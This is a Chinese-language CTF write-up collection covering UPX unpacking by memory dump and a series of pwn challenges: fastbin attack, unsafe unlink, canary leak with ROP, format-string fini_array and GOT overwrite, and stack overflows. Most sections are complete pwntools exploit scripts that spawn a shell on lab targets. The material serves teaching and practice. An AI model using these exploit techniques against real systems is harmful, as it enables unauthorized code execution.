0%

upx+rc4

  1. 拿到文件发现加了upx的壳,尝试用upx -d脱壳会失败,显然upx被魔改过了。那么我们可以试着用dump的方法来脱壳分析。
  1. 通过gdb catch syscall write在程序输出try harder时断下(0x408614),这时程序已经执行到用户原本的代码领域了,因此在这个时候dump 内存,可以获得原始的反汇编代码。vmmap找到代码块,dump memory passpx_dump 0x400000到0x613000的。放到ida中进行分析。

  2. 0x408614这时观察寄存器,可以看到0x617440里面存放了Try harder的字符串。在ida中搜索这个字符串却没有办法找到,猜测这个字符串应该是动态生成的。这个时候搜索内存,看能不能直接搜索到flag
    1

  1. 没有搜索到flag相关的字符串,而且0x617440附近也不存在其他的数据。

  2. 为了找到我们感兴趣的函数,我们在0x617440位置下内存访问的断点,看一下这个字符串是什么时候生成的
    2

  3. 下了内存断点以后,run程序会在401b02中断,我们去ida分析一下。401b02属于函数401aa0,动静结合分析,似乎是用来拷贝内存的一个函数,在第16被调用的时候,会将0x7fffffffe130处的try harder 写入0x617440。那我们再看一下0x7fffffffe130处的try harder 是什么时候写入的

  4. watch *0x7fffffffe130 在一次run程序会在0x400335断下,我们ida里面看一下400335处在干什么
    3

  5. 可以看到此时的rdx被ida标记为V7,而V7是61507f位置的索引,0x7fffffffe130处的Try harder 便是由0x61507f处编码的字符串经过一系列计算得到的。

  6. 我们在ida分析一下0x400335所在的大函数4001a0,如果输入为P4sSw0rd!则进入4003A9分支,很不幸的是这个分支最后会根据614060处编码的字符串经过一系列计算得到Try harderer

  7. 这里我们还是没有找到关键的cmp,这时候会出现两个思路

    • 0x4001A0之前还有其他的cmp,使程序进入其他分支,而输出其他的字符串,但是我们通过ida的交叉引用可以看到start函数中必定会调用4001a0这个函数,而没有进入其他函数的分支。
      • 用户的输入应该可以改变0x61507f处编码的字符串,经过计算后得到其他的字符串?(我们可以通过改变0x61507f处的数据观察程序的输出,来验证我们的猜测)因此我们在0x61507f下内存断点 watch 0x61507f,run程序以后我们断在了一个奇怪的地方0x7ffff7ff8cf3
  8. 这块代码段是我们没有dump出来的,如果我们从头开始调试程序就会发现0x409E8D通过sys_mmap申请了内存,并往上面拷贝的代码,而后在409F44 会执行jmp r13跳到新申请的代码段7FFFF7FF8F60

  9. 我们在gdb开启record,然后单步走,观察一下从7FFFF7FF8F60 执行到7ffff7ff8cf3会执行哪些指令

  10. 会调用的函数passpx:00007FFFF7FF8F60 call near ptr unk_7FFFF7FF8FAF - > passpx:00007FFFF7FF908A call near ptr unk_7FFFF7FFA809->debug001:00007FFFF7FFA86E call near ptr unk_7FFFF7FF9AF4\debug001:00007FFFF7FFA89B call near ptr unk_7FFFF7FFA438

  11. call 7FFFF7FFA438之后会触发0x7ffff7ff8cf3处的0x61507f的写入断点,因此我们跟进这个函数继续观察debug001:00007FFFF7FFA6D2 call loc_7FFFF7FF9AF4 调用的时候会触发中断,然后分析调试7FFFF7FF9AF4可以看到程序会朝0x7fffffff9680、0x7fffffffda2a拷贝一系列数据,拷贝完成后在00007FFFF7FFA286处发现了大量cmp,如果修改7FFFFFFFDB08处的数据,与cmp的字符串一样,程序会在0x61507f上写入flag解密前的字符串

fastbin attack

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#!/usr/bin/env python

from pwn import *
import sys
context.terminal = ['tmux','splitw','-h']
context.log_level = "debug"
#p = remote("10.10.31.156",10000)
ENV = {"LD_PRELOAD":"/ctf/work/adworld/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6"}
p = process(["/ctf/work/adworld/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so","./0ctfbabyheap"],env={"LD_PRELOAD":"/ctf/work/adworld/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6"})
#elf = "./0ctfbabyheap"

#p = process(elf)

def alloc(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))

def fill(idx, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(len(content)))
p.recvuntil("Content: ")
p.send(content)

def free(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))

def dump(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvline()
return p.recvline()

print("======================分配5个chunk=========================")
alloc(0x10)#chunk0
alloc(0x10)#chunk1
alloc(0x10)#chunk2
alloc(0x10)#chunk3
alloc(0x80)#chunk4
gdb.attach(p,gdbscript='b *$rebase(0x147)')

print("======================= 释放 1,2 chunk =======================")
free(1)
free(2)
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
print("======================== 用0X80覆盖chunk2的 fd===================")
fill(0, payload)
payload = p64(0)*3
payload += p64(0x21)
print("======================== 用0x21覆盖 chunk4的size避免malloc memory corruption===================")
fill(3, payload)
print("========================alloc 1,2,index 2 is small chunk address申请chunk1,2,chunk2由于fd被0x80覆盖,因此会申请到chunk4,导致index2和4指向同一个chunk========================")
alloc(0x10)#chunk1
alloc(0x10)#chunk2

payload = p64(0)*3
payload += p64(0x91)
print("========================恢复chunk4的size========================")
fill(3, payload)
print("========================避免free进入top chunk========================")
alloc(0x80)#chunk 5
print("========================释放chunk4,此时chunk4 的fd为main_arena========================")
free(4)
print("========================由于index同样指向chunk4,因此可以通过dump2 泄露main_arena========================")
libc_base = u64(dump(2)[:8].strip().ljust(8, b"\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))
print("========================重新申请chunk4,size为0x60,因此属于fastbins,绕过small bins的检查========================")

alloc(0x60)
print("free chunk 4")
free(4)

payload = p64(libc_base+0x3c4aed)
print("========================覆盖chunk4的fd为malloc_hook========================")
fill(2, payload)

print("========================此时fastbins[0x70]->chunk4->main_arena========================")
alloc(0x60)
print(========================"分配到chunk6 main_arena"========================)
alloc(0x60)

payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4527a)
log.info("one_gadget: "+hex(libc_base+0x4527a))
print("========================malloc hook========================")
fill(6, payload)

print("exec shell by call malloc")
alloc(255)

p.interactive()

debug

alloc(0x10)#chunk0
alloc(0x10)#chunk1
alloc(0x10)#chunk2
alloc(0x10)#chunk3
alloc(0x80)#chunk4
1
free(1)
free(2)
payload = p64(0)3 + p64(0x21) + p64(0)3 + p64(0x21) + p8(0x80)
fill(0, payload)
payload = p64(0)3 + p64(0x21)
fill(3, payload)
2
alloc(0x10)#chunk1
alloc(0x10)#chunk2
payload = p64(0)
3 + p64(0x91)
fill(3, payload)
alloc(0x80)#chunk 5
3
free(4)
dump(2)
alloc(0x60)
4
free(4)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
5
alloc(0x60) 0x80
alloc(0x60) 0xfd(malloc hook)
6
fill(6, payload)
alloc(255)

堆溢出+unlink

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#coding:utf-8
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux','splitw','-h']
sh = remote("10.10.31.156","10001")
#sh = process(["/ctf/work/adworld/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/ld-2.23.so","./4-ReeHY-main"],env={"LD_PRELOAD":"/ctf/work/adworld/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc.so.6"})

sh.sendafter('$','sy\n')
sh.sendafter('$','1\n') #创造堆快0
sh.sendafter('Input size\n','256\n')
sh.sendafter('Input cun\n','0\n')
sh.sendafter('Input content','0000\n')
sh.sendafter('$','1\n') #创造堆快1
sh.sendafter('Input size\n','256\n')
sh.sendafter('Input cun\n','1\n')
sh.sendafter('Input content','1111\n')
sh.sendafter('$','2\n')
sh.sendafter('Chose one to dele\n','-2\n')

sh.sendafter('$','1\n') #这样申请之后,再写进序号为3的堆快,就是写入保存content大小的堆快,可以随意篡改输入大小造成堆溢出
sh.sendafter('Input size\n','20\n')
sh.sendafter('Input cun\n','3\n')
sh.sendafter('Input content','3333\n')

sh.sendafter('$','3\n') #把chunk0的可写大小改为最大,4096
sh.sendafter('Chose one to edit\n','3\n')
sh.sendafter('Input the content\n',p32(0x1000))

payload = p64(0x0) + p64(0x100+1)+p64(0x6020c8) + p64(0x6020d0)+b'A'*(0x100-32)+p64(0x100) +p64(0x110) #不改chunk1的size的话,size是0x111,表示前一个chunk分配
sh.sendafter('$','3\n')
sh.sendafter('Chose one to edit\n','0\n')
print('**************************************************************send payload fake_chunk1_size and chunk_fake_fd+chunk_fake_bk*********************************************************************************************')
sh.sendafter('Input the content\n',payload)

sh.sendafter('$','2\n') #unlink
sh.sendafter('Chose one to dele\n','1\n')

puts_got = 0x602020
puts_plt = 0x4006d0
free_got = 0x602018 #把chunk0改为puts_got chunk1改为free_got chunk2的指针还改为0x6020e0方便再覆盖一遍
payload = p64(0x0) * 3 + p64(puts_got) + p64(0x1) + p64(free_got) + p64(0x1)+p64(0x6020e0) + p64(0x1)
sh.sendafter('$','3\n')
sh.sendafter('Chose one to edit\n','0\n')
sh.sendafter('Input the content\n',payload)
sh.sendafter('$','3\n')
sh.sendafter('Chose one to edit\n','1\n') #修改free got里面内容为puts_plt
print('**************************************************************send payload2*********************************************************************************************')
sh.sendafter('Input the content\n',p64(puts_plt))

sh.sendafter('$','2\n') #此时的free就是puts,这一步操作意思为 puts(*(puts_got))
sh.sendafter('Chose one to dele\n','0\n')
puts_addr = u64(sh.recvline()[:-1].ljust(8,b'\x00'))
print(hex(puts_addr))
libc = ELF('libc6_2.23-0ubuntu11.2_amd64.so')
base_addr = puts_addr - libc.symbols['puts']
system_addr = base_addr + libc.symbols['system']
bin_sh = base_addr + next(libc.search(b'/bin/sh'))
sh.sendafter('$','3\n') #再把free改为system
sh.sendafter('Chose one to edit\n','1\n')
sh.sendafter('Input the content\n',p64(system_addr))
#再覆盖一次,前两项不变,把chunk2内容改为binsh的指针
#gdb.attach(sh,gdbscript='''b *0x400c29''')#edit
#payload =p64(puts_got) + p64(0x1) + p64(free_got) + p64(0x1)+p64(bin_sh) + p64(0x1)
payload =p64(0x1) + p64(0x1) + p64(0x1) + p64(0x1)+p64(bin_sh) + p64(0x1)
sh.sendafter('$','3\n')
sh.sendafter('Chose one to edit\n','2\n')
sh.sendafter('Input the content\n',payload)
sh.sendafter('$','2\n')
sh.sendafter('Chose one to dele\n','2\n')# system('/bin/sh')
sh.interactive()

unsafe unlink

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *

#p = process(["/ctf/work/adworld/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64//ld-2.23.so","./stkof"],env={"LD_PRELOAD":"/ctf/work/adworld/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6"})
#p = process(["./0ctfbabyheap"],env={"LD_PRELOAD":"./libc6_2.23-0ubuntu11.2_amd64.so"})
p = remote('10.10.31.156',10011)
context.terminal = ['tmux','splitw','-h']
context.log_level = "debug"
libc = ELF('/ctf/work/adworld/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6')
elf=ELF('./stkof')

def malloc(size):
p.sendline("1")
p.sendline(size)
def write(chunk,size,strs):
p.sendline("2")
p.sendline(chunk)
p.sendline(size)
p.sendline(strs)
def free(chunk):
p.sendline("3")
p.sendline(chunk)
#Unlink
#gdb.attach(p)
malloc("128") #chunk1 use later
malloc("128") #chunk2
malloc("128") #chunk3
malloc("128") #chunk4 avoid topchunk

global_ptr=0x602150
sizeofint=8
write("2","144",p64(0)+p64(0x80)+p64(global_ptr-3*sizeofint)+p64(global_ptr-2*sizeofint)+b'a'*96+p64(0x80)+p64(0x90)) ##wirte chunk2 heap overflow

free("3") #unlink
p.recvuntil('OK\n')
payload = 8*b'a' + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
write("2",str(len(payload)),payload)
payload = p64(elf.plt['puts'])
write("0",str(len(payload)),payload)
free("1")
libc_base=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00"))-libc.symbols['puts']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.symbols['system']
print ("libc_base="+hex(libc_base))
print ("binsh_addr="+hex(binsh_addr))
print ("system_addr="+hex(system_addr))

payload = p64(system_addr)
#print(payload)
write("2",str(len(payload)),payload)
p.sendafter('OK\n',"/bin/sh\n")
p.interactive()

泄露canary+泄露libc+rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

context(arch='amd64', os='linux',log_level='debug')
context.terminal = ['tmux','splitw','-h']
#cn = process(["/ctf/work/adworld/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/ld-2.23.so","./babystack"],env={"LD_PRELOAD":"/ctf/work/adworld/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc6_2.23-0ubuntu11.2_amd64.so"})
cn = remote('10.10.31.156',10006)
elf = ELF('./babystack')
libc = ELF('/ctf/work/adworld/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc6_2.23-0ubuntu11.2_amd64.so')
read_got=elf.got['read']
puts_addr=elf.plt['puts']
main=0x400908
#ROPgadget --binary babystack --only "pop|ret" |grep rdi
pop_rdi=0x400a93
########################
cn.sendafter('>>','1')
#gdb.attach(cn,gdbscript='''b *0x4009d8''')
#gdb.attach(cn,gdbscript='''b *0x4009e9''')
#gdb.attach(cn,gdbscript='''b *0x4009f0''')#exit
cn.sendline('A'*0x88)
cn.sendafter('>>','2')
recv=cn.recvuntil('A'*0x88)
canary=cn.recv(8)
canary=u64(canary[1:].rjust(8,b'\x00'))
log.info("canary = %#x", canary)

cn.recvuntil('>> ')
payload = b'a'*0x88 + p64(canary) + p64(read_got) +p64(pop_rdi) + p64(read_got) + p64(puts_addr) + p64(main)
cn.sendline('1')
cn.send(payload)
cn.sendafter('>>','3')
read_addr=cn.recvuntil(b'\x0a')
read_addr=read_addr[1:-1]
print(read_addr)
read_addr=u64(read_addr.ljust(8,b'\x00'))
log.info("read_addr = %#x", read_addr)
read_offset= libc.symbols['read']
binsh=next(libc.search(b'/bin/sh'))
system=libc.symbols['system']
base=read_addr-read_offset
system_addr= base+system
binsh=binsh+base
cn.recvuntil('>> ')
cn.sendline('1')
payload=b'A'*0x88+p64(canary) + p64(binsh) + p64(0x40067e) + p64(pop_rdi) + p64(binsh) + p64(system_addr)
print(payload)
cn.send(payload)

cn.recvuntil('>> ')
cn.sendline('3')
cn.interactive()

ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *
context.log_level='debug'
context.terminal = ['tmux','splitw','-h']
#context.update(arch='i386')
#cn = process(["/ctf/work/adworld/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/ld-2.23.so","./Rcalc"],env={"LD_PRELOAD":"/ctf/work/adworld/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc.so.6"})
#cn = process(["/glibc/2.23/64/lib/ld-2.23.so","./Rcalc"],env={"LD_PRELOAD":"/glibc/2.23/64/lib/libc.so.6"})
cn = remote('10.10.31.156',10002)
elf = ELF('./Rcalc')
#libc = ELF('/ctf/work/adworld/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc.so.6')
#libc = ELF('./x64_libc.so.6')
libc = ELF('./libc6_2.23-0ubuntu11.2_amd64.so')
#libc = ELF('./libc.so.6')
libc_start_main_got = elf.got['__libc_start_main']
#main = 0x400FA2
printf_plt = elf.plt['printf']
main = 0x401036
pop_rdi = 0x401123
fmt_str = 0x401203
pop_rsi_r15_ret = 0x401121
#bin_sh_offset = 0x000000000018c177
#bin_sh_offset = 0x000000000018c17c
bin_sh_offset = next(libc.search(b"/bin/sh"))
read_got = elf.got['read']
cn.recvuntil('I')
#gdb.attach(cn,gdbscript='''b *0x400f89''')
#gdb.attach(cn,gdbscript='''b *0x401022''')
#gdb.attach(cn,gdbscript='''b *0x400f8e''')
print(main)
print(libc_start_main_got)
payload = flat(['a'*0x108,p64(0),p64(0),p64(pop_rdi),p64(fmt_str),p64(pop_rsi_r15_ret),p64(libc_start_main_got),p64(0),p64(printf_plt),p64(main)])
print(payload)
cn.sendlineafter('pls: ',payload)
for i in range(35):
cn.sendlineafter('choice:','1')
cn.sendlineafter('integer: ','0')
cn.sendlines('0')
cn.sendlineafter('result? ','yes')

cn.sendlineafter('Your choice:','5')
libc_start_main = cn.recv(8)
libc_base = u64(libc_start_main.ljust(8,b'\x00')) - libc.symbols['__libc_start_main']
libc_system = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + bin_sh_offset
payload = flat(['a'*0x108,p64(0),p64(0),p64(pop_rdi),p64(bin_sh_addr),p64(libc_system)])
cn.sendlineafter('pls: ',payload)
for i in range(35):
cn.sendlineafter('choice:','1')
cn.sendlineafter('integer: ','0')
cn.sendlines('0')
cn.sendlineafter('result? ','yes')

cn.sendlineafter('Your choice:','5')
print(hex(libc_base))
print(hex(u64(libc_start_main.rjust(8,b'\x00'))))
print(hex(bin_sh_addr))
print(hex(libc_system))
print(hex(bin_sh_addr))

#cn.sendline(payload)
#read_addr=cn.recv(4)
cn.interactive()

分析过程

  1. 运行程序分析,能得到两个输入点1是name 2是point(输入1-6的数字,与程序生成的随机数进行比对)
    2、分析随机数是如何生成的,汇编代码如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    push    rbp
    mov rbp, rsp
    sub rsp, 50h
    lea rdx, [rbp+buf]
    mov eax, 0
    mov ecx, 6
    mov rdi, rdx
    rep stosq
    mov edi, 0 ; timer
    call time
    mov qword ptr [rbp+seed], rax #通过time获取随机数seed,并将seed放在栈上
    lea rdi, aWelcomeLetMeKn ; "Welcome, let me know your name: "
    mov eax, 0
    call printf
    mov rax, cs:stdout_ptr
    mov rax, [rax]
    mov rdi, rax ; stream
    call fflush
    lea rax, [rbp+buf]
    mov edx, 50h ; 'P' ; nbytes
    mov rsi, rax ; buf
    mov edi, 0 ; fd
    call read #调用read获取用户输入(发生栈溢出,可以覆盖seed)
    mov [rbp+var_18], rax
    cmp [rbp+var_18], 31h
    jg short loc_C14
    mov rax, [rbp+var_18]
    sub rax, 1
    mov [rbp+rax+buf], 0
    lea rax, [rbp+buf]
    mov rsi, rax
    lea rdi, aHiSLetSPlayAGa ; "Hi, %s. Let's play a game.\n"
    mov eax, 0
    call printf
    mov rax, cs:stdout_ptr
    mov rax, [rax]
    mov rdi, rax ; stream
    call fflush
    mov rax, qword ptr [rbp+seed] #从栈上获取seed
    mov edi, eax ; seed
    call srand #用栈上的seed生成随机数
    mov [rbp+var_4], 1
    mov [rbp+var_19], 0
  2. 发现用于生成随机数的seed可以在输入name的时候通过栈溢出来覆盖,导致生成的随机数我们可以预测
    4.利用ctypes库,覆盖seed的值并通过调用srand/rand预测出会出现的随机数
    5.exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from ctypes import *
libc = cdll.LoadLibrary("libc.so.6")
libc.srand(0x6b6b6b6b6b6b6b6b)
rand_list = []
for i in range(50):
rand_list.append(libc.rand()%6+1)
sh = process('dice_game')
context.log_level = 'debug'
#a=input()
sh.recvuntil('name:')
#gdb.attach(sh)
#pause()
sh.sendline('kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk')
for i in range(50):
sh.recvuntil('point(1~6): ')
sh.sendline(str(rand_list[i]))
sh.interactive()

分析过程

  1. 拿到题目,可以看到程序用getnline获取输入,把获取的输入传递给sprintf,之后直接用printf将输入的值给输出,存在格式化字符串漏洞
  2. 接下来就是尝试利用这个格式化字符串漏洞,
  • hijack got表(失败),发现call printf之后程序会调用的函数只有___stack_chk_fail,getnline只会拿取用户输入的64个字符,因此无法通过栈溢出来来触发该函数
  • hijack retaddr(失败)需要程序调用两次printf,分别用来获得函数的 rbp 与返回地址,根据相对偏移获取存储返回地址的地址,但是本程序只会调用一次printf
  1. 总结思路:我们要作的是把payload控制在64字符之内,且需要重复调用main实现多次任意地址写(覆盖fini_array为main,覆盖strlen为system)
  • 为了程序调用两次printf,我们覆盖fini_array数组中的do_global_dtors_aux为main,使最后程序执行完毕后执行libc_csu_fini时再次调用main函数
  • 覆盖hijack got表,把strlen覆盖为system(getnline函数中在调用strlen之前会通过_fgets获取用户输入并把用户输入拷贝在esp上,此时把strlen替换为system相当于直接执行用户的输入)
  • 尝试fmtstr_payload来构造payload发现pwntool会利用%xxc%152c%13$hhn来构造而hhn一次只会向某个地址写入单字节,导致payload过长,因此只能用$hn来构造。而且strlen和fini地址高位都是0x0804,可以放在一起写入来缩减payload
  • 最后构造出的payload 长度为60<64

4.exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

main = 0x080485ed
fini = 0x08049934
system = 0x08048490
strlen = 0x8049a54
#p = process('greeting')
p = remote('159.138.137.79',64097)


#payload=b"aa"+fmtstr_payload(12,{fini:main})
#payload=b"aa"+fmtstr_payload(12,{fini:main,strlen:system})
payload=b"aa"+p32(0x08049936)+p32(0x08049a56)+p32(0x08049a54)+p32(0x08049934)+b'%2016x%12$hn%13$hn'+b'%31884x%14$hn%349x%15$hn'
print (p.recvuntil('... '))
print(len(payload))
log.info('payload ==>%s',payload)
#a=input('a:')
p.sendline(payload)
print (p.recvuntil('... '))
p.sendline('sh')
p.sendline('cat flag')

p.interactive()

ref

只有一次任意地址写,通过修改.fini_array段,利用__libc_csu_fini函数性质构造循环调用main函数,并溢出检查字段绕,变成多次任意地址写
https://xuanxuanblingbling.github.io/ctf/pwn/2019/09/06/317/

https://www.freebuf.com/articles/system/226003.html

stack overflow

  1. 发现漏洞点

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    __int64 __fastcall leave_message(unsigned int a1)
    {
    int v1; // ST14_4@1
    __int64 v3; // [sp+18h] [bp-8h]@1

    puts("message: ");
    v1 = read(0, &v3, a1);//可以覆盖到rbp
    strncpy(buf, (const char *)&v3, v1);
    buf[v1] = 0;
    puts("done!\n");
    return 0LL;
    }
  2. 第一次循环,v1一开始是 16,但 leave_message 中 v3 的长度是 8,造成栈溢出,可以覆盖旧的 rbp,从而在函数返回时伪造 rbp 为任意值。

  3. 返回后进入第二次循环,因为在 v1 和 256 比较大小时以 rbp 为基准寻址,加上有符号比较存在整数溢出漏洞,所以可以伪造 rbp 使得 rbp-4 处的值是一个负数,从而绕过大小检查,在 leave_message 中 read 时读入超长字符串,控制返回地址。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    __int64 work()
    {
    unsigned int v1; // [sp+Ch] [bp-4h]@1

    buf = (char *)malloc(0x100uLL);
    v1 = mm + 16;
    while ( 1 )
    {
    while ( 1 )
    {
    while ( 1 )
    {
    while ( 1 )
    {
    puts("choice: ");
    __isoc99_scanf("%d", &mm);
    if ( mm != 1 )
    break;
    leave_name();
    }
    if ( mm != 2 )
    break;
    if ( (signed int)v1 > 256 ) //v1是从rbp-4处取值
    v1 = 256;
    leave_message(v1);
    }
    if ( mm != 3 )
    break;
    show(v1);
    }
    if ( mm == 4 )
    break;
    puts("invalid choice");
    }
    return 0LL;
    }
  4. 覆盖a1为0x6010d4,使read能读取更多的输入

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    # coding=utf-8
    from pwn import *

    context.log_level = 'debug'
    context.terminal = ['tmux','splitw','-h']
    #p = process(["ld-2.23.so","./babymessage"],env={"LD_PRELOAD":"./libc6_2.23-0ubuntu11.2_amd64.so"})
    p = remote('10.10.31.156',10005)
    elf = ELF("./babymessage")
    libc = ELF("./libc6_2.23-0ubuntu11.2_amd64.so")
    puts_addr = elf.plt['puts']
    read_got = elf.got['read']
    write_plt = elf.plt['write']
    write_got = elf.got['write']
    vfunc_addr = elf.symbols['main']

    print ("work addr:" + str(hex(vfunc_addr)))

    system_offset = libc.symbols['system']
    read_offset = libc.symbols['read']
    #binsh_offset = 0x1b40fa
    binsh_offset = next(libc.search(b'/bin/sh'))
    pop_rdi = 0x400ac3
    payload1 = b'aaaabaaa'+p64(0x6010d4) #覆盖rbp为0x6010d4使下一次read可以覆盖更多栈空间
    payload2 = b'a'*16 + p64(0x400ac3) + p64(read_got) + p64(puts_addr) + p64(0x4009dd) #泄露read_got地址,返回main

    #gdb.attach(p,gdbscript='''b *0x40083B''')
    #gdb.attach(p,gdbscript='''b *0x400887''')
    #gdb.attach(p)

    p.sendlineafter("choice: \n","1")
    p.sendlineafter("name: \n","5")
    p.sendlineafter("choice: \n","2")
    p.sendlineafter("message: \n",payload1)
    print(payload1)
    p.sendlineafter("choice: \n","2")
    p.sendlineafter("message: \n",payload2)
    p.recvuntil("done!\n\n")
    read_addr = p.recv(6)
    read_addr = u64(read_addr.ljust(8,b'\x00'))
    log.info("read_addr = %#x", read_addr)

    system_addr = read_addr - read_offset + system_offset
    binsh_addr = read_addr - read_offset + binsh_offset
    log.info("system_addr = %#x", system_addr)
    log.info("binsh_addr = %#x", binsh_addr)
    payload3 = b'aaaabaaa'+p64(0x6010d4)+p64(0x40099f) #gdb跟到这里发现read的size再次被修改回去了,因此我们再覆盖一次read的size,并返回main函数
    payload5 = b'a'*16 + p64(0x400ac4) + p64(0x400ac3) + p64(binsh_addr) + p64(system_addr) + p64(0x4009dd) #构造rop链,执行system("/bin/sh"),但是调试发现call system时rsp没有对齐,会导致crash,所以需要县ret一次再pop rdi ;ret

    p.sendlineafter("choice: \n","1")
    p.sendlineafter("name: \n","5")
    p.sendlineafter("choice: \n","2")
    p.sendlineafter("message: \n",payload3)
    p.sendlineafter("choice: \n","2")
    p.sendlineafter("message: \n",payload5)
    p.interactive()

分析过程

  1. 用户输入user_string,程序调用highly_optimized_parallel_comparsion(user_string)函数。而highly_optimized_parallel_comparsion会作运算得到3个arguments
  • first_letter:random%26+97(由于没有设置seed 导致每次random得出的值都是11)
  • differences(固定数组)
  • user_string(用户输入)
  1. 接下来通过pthread_create创建进程将argument传入checking,pthread_join等待进程结束得到result
  2. 分析pthread_join的后面的程序,发现pthread_join得到的result会和just_a_string(固定数组)相加得到generated_string,而如果generated_string!=just_a_string则return 0 ,因此可以判断所有 pthread_join得到的result都为0时程序才能使is_ok=1
  3. 因此*result = (argument[0]+argument[1]) ^ argument[2]中的result需要为0即user_string= (97+11 + difference[i])^0
  4. exp如下
1
2
3
4
5
list1=[0, 9, -9, -1, 13, -13, -4, -11, -9, -1, -7, 6, -13, 13, 3, 9, -13, -11, 6, -7]
s=''
for i in range(0,20):
s+=chr(list1[i]+108)
print(s)